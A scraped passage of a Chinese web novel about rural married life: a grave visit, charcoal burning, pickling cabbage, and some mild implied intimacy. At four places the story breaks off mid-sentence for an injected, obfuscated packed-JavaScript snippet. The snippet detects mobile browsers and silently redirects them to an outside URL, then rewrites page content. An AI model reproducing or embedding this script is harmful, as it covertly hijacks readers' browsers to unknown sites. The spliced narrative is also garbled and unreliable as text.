“睡一会儿吧。”李远山抬起手轻轻刮着方夏的脑门,烧了炕屋里热乎乎的,方夏迷迷糊糊睡了过去。 方夏是被淅淅沥沥的雨声吵醒的,被窝里暖和极了,这一觉睡得很舒服,抬头看看天色已经是傍晚了,自己大概睡了有一个多时辰。 他在被窝里动了动伸了个懒腰,抱着他的李远山见人睡醒了,便开口问:“好些了没?” “好多了,没那么难受了。”方夏浅笑着回他。 李远山又抬手摸摸方夏的额头,发现不烧了后双臂展开一把将人搂紧,问他:“饿不饿?想吃些什么?” 这几日方夏病着一直没什么胃口,家里都是尽量做些软和好消化的吃食给他,这会儿睡醒了方夏胃里空空的,倒真的有些饿了。 他俩正依偎着低声说话,却听房门嘭地一声被推开了,随之而来的是三弟李晓山的大嗓门:“夏哥哥,娘让我给你送碗蒸鸡蛋来!” 炕上抱着人的李远山慌忙起身跳下地来,躺着的方夏也猛地一掀被子捂住了脑袋。 “你怎么进来不敲门?”李远山瞪着眼睛喊。 被大哥这样子吓了一跳,李晓山偷偷看一眼炕上蒙在被子里的人,脸上的表情都僵硬了,他梗着脖子道:“自己家还敲门啊?” 李远山接过他手里端着的蒸鸡蛋,气得闭了闭眼睛:“还不出去?” 李晓山:“……” 李晓山出去了,方夏坐在炕上吃着李远山端着的蒸鸡蛋,隔着几道门两人还能听见院里周秀娘数落人的声音。 “多大的人了!怎地进你大哥屋子不懂敲门?”说着周秀娘还不忘抬手戳小儿子的脑袋,“好像爹娘不教你似的。” 李晓山揉着被戳痛的脑门道:“我哪知道他俩在干啥,在炕上搂……唔唔” 旁边站着的李云山急忙冲上去捂住了弟弟的嘴,恨铁不成钢地一跺脚:“快闭嘴吧你!” 屋里的方夏脸红透了,鸡蛋也不吃了,只抬眼看对面的人。 李远山却好似什么事都没发生一样,脸不红心不跳,端着碗等方夏舀鸡蛋吃,见人一动不动盯着他看,便接过他手里的小勺子道:“再吃些吧?我喂你。” 拗不过李远山,方夏又将碗里剩下的蒸鸡蛋都吃了,这下李远山才将勺子放回碗里,端着空碗出门去了,独留他一个人在屋里暗自消化。 早早吃过晚饭,李远山便回屋陪着方夏,最近家里活儿多,白日里总是忙忙碌碌的,少有这样温存的时候,两人盥洗一番,都上炕窝着了。 这两日方夏睡的久,今天才稍微缓过来些,一直躺着也难受,这会儿便坐起来,后背垫了枕头依靠着墙,李远山在他旁边坐着,时不时揉捏一下他的手和胳膊。 “以后不要老想着做针线活儿,我见村中好些老人就是年轻时候不注意,总想着绣些帕子贴补家用,结果熬坏了眼睛。” “我知道了。”方夏乖顺地点头应着。 李远山接着说:“我瞧你绣出来的花样子和旁人的不同,哪里学的?” 屋里瞬间有些沉闷,方夏垂头低声说:“小时候我阿奶教的。” 李远山忽地想起,说亲时并没见着他的阿奶,该是早早就没了,自己本无意戳人伤心事,见方夏这会儿闷闷的,便捏捏人的手指,缓缓劝慰着:“都过去了。” 是啊,都过去了,虽然疼自己的阿奶过世后,自己吃了好些年苦,可如今嫁的丈夫疼惜他,家里人也都好相处,自己还有什么可悲伤难过的呢? 想通这一节,方夏看着身边的人摇摇头:“没事的。” “我听你的,以后少做些针线活儿。”说着朝李远山弯唇一笑,又道,“不过我阿奶不是做绣活儿的,她是剪纸的。” 见夫郎眉眼舒展,还同他说起以前的事,李远山顺着他的话夸道:“怪不得你绣的花样子好看,原是阿奶教的,你那日还说会剪纸,等过年时候咱们家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292685|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贴窗花,你可得好好剪些才行。” 听着李远山也喊阿奶,方夏心里有些欢喜:“嗯,小时候阿奶剪纸,我在旁边看,学了不少花样呢。” 想起曾经和阿奶相依为命的日子,方夏话也多了起来,那时候日子虽苦,可阿奶疼他,家里没多少田地,全靠着阿奶剪纸挣钱,他们赵家庄本就离镇上远,阿奶常常在油灯下熬夜剪纸,第二日又早早起来拿去镇上卖。 “阿奶剪纸手艺好得很,会剪很多花样子,有花鸟鱼虫,还有话本里的人呢,那时候家里花用都是她去镇上卖剪纸赚出来的,后来到我十多岁时,阿奶眼睛就很不好了。” 李远山静静听着,一只手安抚性地拍着方夏的背。 “阿奶没特地教我剪纸,只是说日后终究要嫁人,最要紧的是学会针线活儿和灶上的活计,我有时候看阿奶实在熬不住了,就自己偷偷剪几个窗花,混在阿奶剪纸里,阿奶都没看出来过呢。”方夏依靠着李远山慢慢说着。 “你受苦了。”李远山将人紧紧抱了一下,说道。 “不苦的,”沉默了一瞬,怀里的人小声说:“后来……是有点苦的。” 方夏抬头见李远山眼中疑惑,又说道:“我小时候是阿奶养大的,没同他们在一处过。” 知道他们指的是已然断亲的赵桂花和方春,李远山点点头,接着问:“为何?” 在这样有些寒意的秋夜里,李远山怀里搂着夫郎,听他温软的嗓音一点一点讲着小时候的事情。 大多数是同阿奶在一起时清贫却温馨的生活,后来十二岁时阿奶去世再回到赵桂花家里,方夏没如何细说,李远山也能大概猜到些。 他心里暗暗想,日后有自己在,定不会再让方夏受苦了。 “现下我过得好,阿奶在天上看见了,肯定会放心的。”见李远山阴沉着脸一直没说话,方夏在人的颈窝蹭蹭,“我早就不想以前那些事情了。” “嗯。”李远山声音闷闷的,他抬手摸摸方夏的发顶,知道他曾经在赵桂花手里那几年过得艰难,也不再提那糟心人的名字,“咱们好好过日子,日后得空了我陪你回去看看阿奶。” 喜得方夏立马翻身起来,眼睛亮晶晶看着李远山道:“真的?” “你慢些!”李远山忙撑着胳膊起来抱住了人,看着夫郎弯着的眉眼,他心里却有些堵。 靠在李远山的胸口,方夏有些羞赧地重复了一遍道:“真的去看我阿奶?” 没成亲前,每到清明或是七月十五,都是方夏自己去给阿奶上坟。他手里没钱,只能偷偷自己省着些吃食或是去野外摘些野果给阿奶供。 如今他成亲了,想来那边也没人会给阿奶上坟了。 现下李远山主动提出来要陪他去看看,见抱着他的人郑重地点头,方夏再也忍不住一下扑到李远山怀里,他红着眼睛紧紧搂着人的脖子。 “赵家庄路远,等你养好了身子,咱们挑个好一些的天气,我同你一块去。”李远山郑重地道。 “嗯!”方夏声音里带着哭腔,用力点点头。 30. 回乡 自那日下过些小雨后,这几日都是晴天,李远山心里一直惦记着要带夫郎回一趟赵家庄去看阿奶,给阿奶上一趟坟。 见方夏身体彻底好了,李远山便和家里打声招呼,趁着今日不杀猪,驾了牛车便带着方夏早早出发了。 他们玉河村离着赵家庄远,中间还要经过永安镇,脚程快些的得走一个多时辰才能到。 路过镇上时,李远山让方夏看着牛车,自己还去买了香烛和纸钱,虽说不年不节的没到该上坟的日子,但既然答应了夫郎要回去看阿奶,那该有的礼节就不能少。 见李远山手里提着的东西,方夏蓦地红了眼眶。 从前在家时,家里从来没人主动买过这些,别说买香烛纸钱了,就是该到上坟的日子也没人去,更不许他花钱去,每次都是自己偷偷从每日的口粮里省出来一口吃的,或是摘些野果当贡品给阿奶上坟时供着。 李远山没多说什么,知道夫郎想起曾经的日子心里难过,便走上前紧了紧人头上包的头巾,赶着牛车继续向赵家庄走去。 他原本是想抱一抱方夏的,可街上人多,李远山便收了这样的心思。 一路无话,约莫巳时中就到了赵家庄,他俩也不进村,只沿着村外的小路走。方夏阿奶的坟地在村子西边的小树林里,孤零零的一个小小的坟头,连个墓碑也没有。 方夏把预备的贡品摆好,李远山点了三炷香插在坟前,又将买来的纸钱慢慢烧了,俩人一起跪下磕头。 “阿奶,我嫁人了。”方夏哽咽着说,他抬起袖子擦擦眼泪,望着身侧忙着拢纸灰的人接着道,“这是李远山,我的夫君,他对我很好。” “阿奶你放心吧,我定会好好照顾小夏的。”李远山也沉着声随后道。 上完了坟,两人又将坟包上的枯草清理一番,李远山还特意带着铁锹又铲了些土,将小小的坟头拍实后,才收拾着准备回家。 牛车吱吱呀呀走着,还没走多远便碰见一个挎着篮子的矮胖的妇人迎面而来,见方夏同李远山坐着牛车,还有些不敢认,只睁大眼睛盯着人瞧。 方夏让李远山将牛车停下,自己下来主动道:“田婶子。” 这田家婶子原是住在方夏他们家隔壁的,当初他成亲闹那一场时,田婶子还为了他同赵桂花呛起来过。 “哎吆!果真是夏哥儿,你怎地回来了?”田婶子上前几步,将方夏上下打量一番,又悄悄斜着眼睛看不远处牵着牛的李远山,“咋滴欺负你了?” 知道田婶子误会了,方夏赶紧道:“不是!田婶子,我来看看阿奶,夫君陪我一同回来上坟的。” “哦哦,夏哥儿是个孝顺的孩子,你阿奶没白疼你,这还没到寒衣节呢。”田婶子说着又看一眼几步外站着的李远山。 李远山点了下头,也跟着方夏喊了句“婶子”。 田家婶子是个明事理的妇人,她见方夏面色红润,人也变胖了些,比从前好看了许多,便知道他嫁过去没受委屈。 更何况这不年不节的日子,夫君特地陪着回来给阿奶上坟,说明夫家是心疼他的。 “我说夏哥儿啊,往后啊,你少回来吧。”田婶子拉着人站到路旁小声说道。 方夏疑惑地问:“怎地了?” “你不知道,你那哥哥方春自从家里得了你二十两银子的聘礼,便闹着要娶媳妇,只是不知怎么的被人哄着进了那地方,”田婶子暗示地一抬眼,“媳妇没娶到,却将手里的银子都花进去了,哎吆吆!真是个败家子啊!” “什么地方?”方夏还是懵懵的,睁大眼睛问。 这时李远山低沉的声音响起:“婶子说的,可是镇上的花楼?” 这下方夏明白过来,他已经是通人事的双儿,自然晓得那花楼不是什么好地方,以前也听人说过,但凡沾上这个,即便是有万贯家财也都得赔进去。 另一边田婶子继续絮絮叨叨说着。 见李远山虽长得凶恶,但也是知礼数的,田家婶子便没那么惧怕人,还往前凑了凑继续压着声音说:“正是呢!那方春成日里就知道吃喝,今年没了夏哥儿在,地里庄稼熟了也不急着收,赶上那几天下雨,好多都烂在地里了。” “现如今家里是要钱没钱,要粮没粮的,成日里同你娘不是吵就是闹的。”田婶子缓了缓,忽地想起来方夏已同赵桂花断了亲,连忙冲着自己的嘴巴拍了两下,“呸呸,看我这嘴!同那赵桂花闹!” “没事的,婶子。”方夏还震惊着呢,他实在想不到,那母子俩竟能将日子过成这样,一时不知道是该哭还是该笑。 几步开外站着的李远山开口道:“多谢婶子相告。” “不谢,不谢。”田婶子朝着人笑了笑,又接着说:“你俩上完坟就快回吧,可别碰见那母子俩,遇见了指不定要怎么讹你!” 两人同田婶子道别后,就匆匆上路了。 回去的路上天气渐渐暖起来了,李远山依旧不紧不慢赶着车,他怕走太快方夏再着了风难受。 牛车晃晃悠悠的,坐在车上的方夏想起了上一次从赵家庄出来的情景,那时他刚刚断亲,也是李远山赶着车,而自己虽在车上坐着却不知道前路在哪,一颗心七上八下的也没个着落。 而如今,还是这条路,赶车的仍旧是李远山,可方夏却知道他们这是要回家去。 记忆里的高大身影和现实重合,看着前面牵着牛的挺拔身姿,方夏忍不住抿着嘴笑了。 “笑什么呢?”李远山回头问。 冷不丁被吓了一跳,方夏慌忙垂着头摇了摇:“没什么。” 幸好这一路上没什么人,这若是让人看见自己眼睛一眨不眨地盯着汉子的背影瞧,那可太丢人了。 李远山也不追问,后退几步抬腿跨到板车边缘,同方夏挨着坐了下来。 见夫郎抱着腿坐着却不说话,整个人乖巧的不得了,李远山四下看看,确定周围没什么人后,便往前凑着猛地在方夏脸上亲了一口。 方夏整个人都震惊了,捂着脸往后倒去,幸亏李远山离得近一把将人搂住了,怕夫郎不小心从板车上掉下去,还贴心地往自己怀里带了带。 “你!你……你怎么能……”方夏双手抵在李远山的胸口,瞪大眼睛急得满脸通红,话都说不利索了。 李远山一手拽着牛车的缰绳,一手搂着夫郎,黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292686|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮的眼睛里都是笑意:“我怎么了?” “你……你亲我!” “又没有人看见,怕什么?”李远山笑着说,脸上都是偷亲到夫郎的得意。 方夏气得一拳头捶在他胸口,道:“还有牛呢!” 一阵爽朗的笑声从李远山口中溢出,眉眼间笑意明显,衬得他整个人的轮廓都深邃了许多。 方夏从没见过李远山这样笑过,他看着人忍不住又想,若是没有脸上的这伤疤,李远山定是个十里八乡都难寻的俊朗汉子。 ------------------------------------- 天儿一天比一天冷,家里除了要烧炕,还要在屋里准备个炭火盆取暖,到了冬日里极冷的那两个月,屋里若不烧些炭火,冻伤冻坏的不在少数,甚至有些人连冬天都熬不过去。 烧炭要砌土窑,李远山他们家杀猪卖肉忙,往年都是砍了大柴直接去吴大牛家院子里烧炭,今年也不例外。 吴大牛也是个勤快的汉子,院子里烧炭的土窑一到深秋就没歇过。 每年冬日里他都要烧炭,既能自家用,也能挑着去镇上卖,木炭的价钱要比柴火贵,烧炭虽辛苦,可到天冷时能给家里多挣些钱,这才是最要紧的。 李远山正蹲在院子里收拾背篓,有几个用得久破了洞的需得再补一补,扎结实了才能再用,不然装个东西半路上都漏了丢了。 背篓补好了,这几天他琢磨着带着弟弟们上山去砍柴,烧炭不能用平日里捡回来的细柴火,需得到林子里找干枯的树,砍了树还要拿锯子锯成一段一段的好背回来,不然路远一整棵枯树是拖不回来的。 方夏将院墙边上种的南瓜和冬瓜都摘下来了,今年这一茬菜也都到日子了,再冷该上冻了。 留够这几日家里吃的,剩下的预备搬去后院放到菜窖里,只是这冬瓜个头都不小,他一个人搬不动,便喊人帮忙:“远山。” “来了!”李远山拍拍手上的土灰走过来。 “今日做个油焖南瓜,软软糯糯的好吃,再用冬瓜汆个丸子,热热的喝些汤身上也暖和。”方夏说着,指了指地上堆着的冬瓜和南瓜又道:“这些放到菜窖里,咱们冬天吃。” “行!”李远山答应着便开始往后院搬冬瓜。 方夏挑了两个小小南瓜去灶房,边走边问:“今日想吃什么饭?” 李远山冲着人一笑:“你做什么我就吃什么,你做的饭好吃!” 方夏笑着看他一眼,虽没说话,两人之间自有一股温情流淌。 灶房里,米饭在锅里蒸着,方夏将南瓜洗干净后削皮,拿刀切成大块后下锅小火煸炒,待炒至变色后加水焖煮就行,这边南瓜不用管了,方夏又忙着剁肉馅汆丸子。 李青梅在灶间打下手,正蹲着洗刚刚南瓜里掏出来的南瓜籽,时不时还要抬头看一眼灶膛里的火,添一把柴。 乡下人没什么零嘴,南瓜里剥出来的籽淘洗干净后晒一晒,等干了直接吃或是上锅炒一炒都行,若是客人来了也能拿出来凑个干果盘。 正忙着,忽听周秀娘的声音从院外传来:“出来搬菜来!” 31. 烧炭 李远山领着弟弟妹妹忙出门去看,原来是李达夫妻俩拉着一车菜回来了。他们家没有菜地,院子里种的只够家里现吃,若是到了冬天要腌菜那是远远不够的。 今日一大早,李达夫妻俩就赶着牛车去了村中专门种菜的张家。张家菜园子大,各种菜也多,到了秋末要腌菜时自家菜不够的都要来买上一些。 他们这回就买了不少菘菜、芥菜疙瘩和茴子白,家里人多,冬天没有新鲜菜吃,可得多预备些腌酸菜才行。 腌酸菜以菘菜为主,家家户户少说也得准备上好几百斤才够吃。芥菜疙瘩就腌成咸菜,平常切丝或是炒着吃都行,而茴子白留十来个放在菜窖里存着,其余的都能搭配萝卜做成烂腌菜。 北方冬日苦寒,猫冬时全靠家里囤的各种腌菜度日,幸而他们家杀猪,顿顿都能有肉吃,在村子里已是顶好的日子了。 新鲜买来的菘菜水灵灵的,此时还不能腌,要放在院子里晾晒半天杀一杀水分,等菜稍微有些蔫吧才适合腌制。 一家人忙碌了有小半个时辰,才将一板车的菜都搬到院子里。 那边午饭也做好了,方夏找个大陶盆将一大锅的冬瓜汆丸子汤舀出来,又将另一边的油焖南瓜盛了两盘端到桌子上,就喊人进屋吃饭。 南瓜软糯香甜,拌米饭吃正好,时不时再来几粒分量十足的肉丸子,一家人都吃得十分满足,最后再喝一碗清淡咸鲜的冬瓜汤,真是神仙来了都不换的日子! “夏哥哥,你做的饭真好吃!瞧我这几日都胖了!”李青梅撒着娇说。 方夏轻轻一笑道:“不胖的,正是长个子的时候,多吃些才好呢!” 家里就数李青梅最小,今年才九岁,连最小的哥哥李晓山今年都十二了,平日里父母哥哥们都宠着小妹妹。 方夏嫁过来后,也是最先同李青梅熟悉起来的,再者双儿和姑娘本就能说到一处,因此方夏对小妹也是宠爱多些。 李远山吃完饭,把碗筷一放,对着两个弟弟说道:“云山、晓山,午后同我一起去林子里,咱们该预备砍树烧炭了。” 兄弟俩都顾不上说话,忙着抢盘子里最后一块南瓜,听大哥说完匆忙点了两下脑袋。 “爹同你们一起去。”李达跟着道。 李云山喝一口汤,开口道:“爹,我同大哥还有老三去就行,你歇着吧。” “嗯,歇着吧爹!”李晓山含含糊糊地说。 “嗯什么嗯?都当你爹我老得走不动道了?” 周秀娘忙出来打圆场:“你们这帮老少爷们都去,今年多弄些柴火回来烧炭,可别到冬天冻着我们家的姑娘和双儿!” 一家人听了都哈哈笑起来。 方夏边收拾碗筷边问:“娘,咱们午后腌菜吗?” “先晒一晒吧,不急。”周秀娘道,她已经腌了多少年的菜,自然经验丰富,说罢自去擦桌子洗碗了。 儿夫郎既做了饭,那洗碗这点活计她来就好,当家的说的对,他们两口子都还没到走不动道的时候,他们也不是别人家那些倚老卖老的恶公婆,家里的活儿自然是不会躲懒的,人人都勤快,一家人心往一处去,劲儿往一处使,这日子才能越过越好。 院子里,李远山收拾好砍柴用的斧子锯子,便准备出门去喊隔壁的吴大牛一起上山。 “家里前些天腌的地葫芦能吃了,我想给满哥儿送些过去。”小夫郎声音轻轻地跟在他身后。 李远山回头道:“这些事,你做主就好。” “嗯!那你等等我,我去装一些地葫芦,同你一起去满哥儿家里!” 吴家院子里,烧炭的土窑早早就打扫干净了,因着每年都要烧炭,他们家的土窑用完封住就行,从来不拆。 土窑建在院子南边,有一部分是从地上挖下去的,下面是四四方方的,有一处小小的点火口,顶部则是圆的,上面留着一个烟囱排烟,而土窑朝南一侧则留着个小门好供人进出摆放木柴。 烧炭时,要将木柴整齐摆放进土窑中,唯一的小门在烧炭时要先用砖块垒砌严实,还要用黏性强的黄泥糊住,这样整个土窑就是封闭的。 土窑内的木柴点燃后,在外面是看不见火的,有经验的人通过烟囱冒出的烟色就能断定烧炭的火候和时辰,待烟色由白变青,那木炭就烧好了。 李远山和方夏进来时,吴大牛和他爹正忙着往土窑门上糊黄泥,柳满抱着孩子迎出来:“夏哥儿你们过来啦!” “嗯,我前些日子腌的地葫芦,能吃了,给你拿些。”方夏将一个大碗递过去,又一手接过柳满怀里的小石头,好让他腾开手去放东西。 小石头今日戴着个虎头帽,更显得虎头虎脑。 这些日子方夏和柳满常互相串门子,小石头和方夏也混熟了,知道常常给他猪耳朵吃的李大伯家的小嬷也是大好人,不仅会给他好吃的零嘴,还长得好看,便由着方夏抱,也不乱扑腾。 方夏双手抱着孩子颠了癫,贴着小石头胖嘟嘟的脸问:“怎么今日不乱跑了?” “小嬷抱抱。”小石头这几日说话吐字清楚多了,说完还不忘张开手臂搂着方夏的脖子。 放完东西回来的柳满看见了,笑着道:“几日不见你,这臭小子还懂得想你呢!” “嗯,想小嬷!” 见小石头难得粘着人不下来,院子里的人看见了都接二连三笑起来,小石头不懂大人们笑什么,只将方夏的脖子搂得更紧了些。 吴大牛沾着满手黄泥,走到李远山跟前拿肩膀拱了他一下,道:“怎么?眼馋啊?赶紧也生一个!” 李远山不理他,看一眼抱着孩子的方夏不着痕迹地转了话题:“收拾好了咱们就去林子里砍树。” “行!趁着今日天儿好,咱们多背些柴火下来。”吴大牛应着,忙去洗手了。 家里正烧炭的土窑需得留人看着,吴老汉烧炭多年,经验最是丰富,便由他看着土窑,其余人都上山去砍柴火。 小石头被他阿奶吴老太哄着去玩儿了,方夏和柳满也要一同上山,他们俩背不了太重的柴火,跟着汉子们一块还能捡些木耳什么的,留着冬天吃。 他们两家处得好,李远山他们用吴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292687|198528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大牛家的土窑烧炭,砍柴火时便多出些力,将吴大牛家要用的柴火也都帮着一起砍了背回家里。 天气渐渐冷了,山林里的风相比村子里要更大些,树叶早早都落了满地,李云山和李晓山兄弟俩走在前面,时不时还要捡些粗大的树叶揪下叶梗来,装在衣兜里预备回去斗草玩。 村里孩子从小都是跟着父母劳作,稍微长大一些就要给家里出力干活了,少有闲暇时刻去特意玩什么游戏,也少有人家会花钱买什么玩具,都是就地取材,碰见什么玩什么,往往身边能找见的很平常的小东西小玩意儿,都能拿来逗趣玩乐。 到了林子后,选定了一棵适合烧炭的枯树,李远山和吴大牛两人便一人一头拉着锯子开始锯树,其余人都散开离得远远的,防着树倒下时不小心砸到人。 这锯树也有窍门,不能和平日里砍柴一样,要找准位置在木头倒下的一侧先拿斧子砍开个口子,再用锯子在对面一侧锯割,直到两边锯通,只需轻轻用力一推,枯木便按照预定的方向倒下了。 方夏和柳满见他们几个汉子大刀阔斧地劈砍枯树,便离得远远的去找寻木耳,地上枯枝败叶多,两人都小心翼翼地走着,怕不小心踩到坑里摔了。 “这几日你见孙青青了吗?”柳满问。 “没呢,”方夏边捡木耳边回,“我前些日子病着,没怎么出门。” “按理说,媳妇夫郎有身孕了,该去岳家报个喜,媳妇夫郎的娘家也该来人看看的。” 柳满嘴快,说完才想起方夏早已同娘家断了亲,急忙又说:“哎呀你别恼!我看远山哥疼你的紧,待你有身孕了他不晓得要喜成什么样子,定是事事都顺着你的。” 方夏看着他一笑,又眨眨眼睛:“我恼什么?我现在就过得挺好的。” 两人扒拉着树丛捡木耳,又闲话了几句家常,那边的枯树已经砍倒了。 几人分工,将枯树锯成一段一段的,好方便背走。余下的边边角角的细枝,他们也舍不得扔,方夏和柳满两人过去将细树枝收揽到一起用绳子捆好。 直到天快黑了,他们才背着柴火下山。 一路辛苦,将柴火都放到吴大牛家院子后,李家人就收拾回家去了。 李远山劲儿大,背的柴也多,出来这一趟满身都是灰尘不说,头上脸上都是汗,一道道汗水流下来将脸上的灰尘冲走,整个人好似洗了个泥水澡。 “都等等啊!正蒸着馒头呢,马上就好!”周秀娘在灶房里喊着。 家里两个锅灶都占着,现下没法舀热水洗手洗脸,已是深秋再用冷水洗怕回了汗生病,众人只好等着。 方夏从怀里掏出手帕来帮着李远山将脸上一道一道混着汗水的灰尘擦去,李远山很是受用,夫郎难得在旁人面前亲近自己,他又低着脑袋往人的身边凑了凑, 饭上桌了,一家人洗手洗脸都坐到饭桌边,晚饭是蒸的杂面馒头,中午的冬瓜汆丸子还剩下些汤,周秀娘又添些菜叶子煮了,腌葱叶和地葫芦各盛了一小碟下饭。 晚饭虽不丰盛,却管饱,一家人热热闹闹开吃了。 32. 腌酸菜 吃过晚饭,一家人轮流开始盥洗,今日去林子里砍柴实在是又累又脏,大家都迫不及待要好好洗漱一番,既能洗去一身脏污又能解乏。 只是家里水缸里的水不够这么多人洗澡用,李远山便匆匆去挑水了,幸好水井离着不远,不然天黑不好走,路上绊倒就不好了。 家里就一副扁担,见大哥拿走了,李远山和李晓山就一人拎着一个水桶追上去帮忙打水。 方夏和李青梅在灶间烧热水,周秀娘在另一边洗碗:“夏哥儿,明日看天儿不错,咱们腌酸菜吧!” “好!听娘的。” 家里为了能安稳过冬一刻也不停歇,做的活儿多,总是忙忙碌碌的,累是累,可方夏心里却觉得前所未有的踏实。 “夏哥儿,娘前几日听远山说你会剪纸?”见儿夫郎点头应了一声,周秀娘接着开口道:“今日出门去买菜,娘一高兴就替你揽了个剪纸的活计!” 方夏有些懵,眨巴眨巴一双眼睛,没有说话。 “哎呀!这不是咱们一个巷子住的陈家,过些日子他家小儿子要娶新媳妇了嘛!娘就答应下来帮着剪喜字。” 往常村里有个婚丧嫁娶的事儿,都是靠街坊邻居帮忙,他们也不例外,李远山成亲的时候,附近的老街坊们都没少帮忙,等到别人家办事儿,他们也要出人出力,就当还了人情。 俗话说“远亲不如近邻”,乡下人为人处世,讲究的就是这么个道理。 “娘,这个喜字简单,别的花样子我再看一看,也能上手的。”方夏自是懂得这些道理,马上就答应下来。 再者说,剪纸对于他来说,真不算多难,小时候都是他悄悄看着阿奶剪,自己照着比划比划就能剪得同阿奶分毫不差。别说喜字,就是更复杂的花样子,他也是能剪出来的。 水烧好后,李远山和方夏回屋盥洗,深秋天冷,他们就不动用浴桶了,况且方夏的病刚好没几日,更不敢大洗。 他们只用布巾沾着水里里外外擦洗一番,方夏洗了头泡了脚便钻到被窝里去了,仍旧是李远山去收拾倒水,这也成习惯了。 被窝里冷,方夏缩着手脚好一会儿都暖和不了,直到身后贴上来一具火热的身躯,他才缓过来些。 忍不住又往李远山的怀里蹭了蹭,方夏才舒展开四肢不团着了。 这些日子方夏已经熟悉了这样炙热又有力的怀抱,他早已没了初时的害怕和羞怯,哪怕方夏从来不是主动的一方,但在李远山贴过来时,也从来不会拒绝。 “还是冷吗?”李远山的声音贴着耳边响起。 被李远山这样拥在怀里,手脚都被热烘烘捂着,方夏摇摇头说:“不冷了。” “等过几日炭烧好了,咱们屋里先烧一盆。”李远山一边摩挲人的腰一边道,“不用省着,我多跑几趟打些柴回来就行。” 被揉捏的腰有些痒痒,方夏抓着李远山的大手放下来,轻轻呼着气问:“你不累?” “不累。”李远山锲而不舍地将手又伸进被窝下的衣摆里。 方夏摸不准他是故意的还是在装傻,自己是问他上山打柴累不累,怎么到李远山这颇有些耍赖的模样呢? “我是说你今日打柴,累不累?”方夏轻声又说了一遍。 刚刚擦洗完,两人身上俱是好闻清爽的皂角香味,李远山却觉得夫郎身上的味道比自己的格外好闻,凑近了些,方夏身上干净清新的味道仿佛更浓了。 自从方夏病了一场,家里这些日子又忙,算下来两人有将近半个月不曾亲近。 “都不累。”李远山含含糊糊说了一句,忍不住似的啄吻着方夏的耳后和颈侧,黑暗放大了这些暧昧羞人的声音,幸好熄了灯,哪怕再脸红,谁都看不见。 李远山仿佛不知足,将方夏翻来覆去亲了好久,又寻着人的嘴巴吻,热意源源不断漫上来,熏得人被窝都待不住。 呼吸的间隙,方夏看见上方李远山的黑亮的眼眸,在黑暗中都闪着幽光,好似自己是那案板上待宰的猪,怎么也逃不出李屠户的手心。 粗重的喘息声就在耳畔,方夏轻轻闭上眼睛,伸出胳膊搂住了伏在上方的人的脖子…… 不知过了多久,等方夏迷迷糊糊累到睡着前,才想起来李远山说的不累是真的不累,可自己却累得连一根手指都不愿意动了,不等李远山擦洗完,便昏昏沉沉睡了过去。 ------------------------------------- 第二日依旧是个好天气,李远山和他爹在前院卖猪肉,其余人吃过早饭都等着帮忙腌酸菜。 腌酸菜是个大活计,快到冬季时,家家户户都要腌上两大缸才够吃,昨日午后,周秀娘就将家里用来腌酸菜的几个大缸洗涮干净了。 腌酸菜用的大缸里不能有一点儿油,否则腌出来的酸菜容易烂。 方夏正坐在院里掰菘菜外面的一层有虫眼儿的烂叶子和老菜帮子,腌菜只留下干净鲜嫩的部分就好,碰见撕不动的地方他就拿菜刀削掉。 周秀娘忙完灶间的活儿也过来一起干,几个弟妹也分派了活计,将收拾干净的菘菜拿去用水冲洗,洗菜的水用得量多,李云山和李晓山两个就轮流去挑水。 洗好的菜要再晾干,才能入缸腌制。 几百斤的菘菜一上午将将收拾好,就该吃午饭了,家里忙也不特意做太费事的饭食。 去前院割一条五花肉切成厚厚的肉片,现成的菘菜切了与肉片一炒就行,再热上十几个馒头,一顿喷香的午饭就做好了。 一家人匆匆吃了饭,午后又接着去干活儿。 菘菜彻底晾干后,就可以腌制了,腌酸菜的方法也简单,只用粗盐就行。 先在大缸底下均匀地撒一把粗盐,接着将菘菜一颗颗紧挨着放进去码整齐。 方夏挽着袖子,伸手将缸里的菜压紧压实,周秀娘则在后面跟着往缸里撒盐,盐巴要均匀地洒在菜帮子和菜叶子的缝隙间。 腌菜放多少盐巴全凭多年的经验,有经验的妇人凭着手感就知道该放多少,盐巴放多了就发苦发咸,放少了则酸菜容易坏。 缸里的菘菜码到一半,方夏便压不动了,此时家里的汉子们就派上用场了,李远山力气大,他同二弟两个人一起垫着脚压菜,方夏他们码一层菘菜,兄弟俩就使劲往下压。 一大缸菘菜层层码满后,还要再多放几颗菜,这样在腌制的过程中,菘菜杀水后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 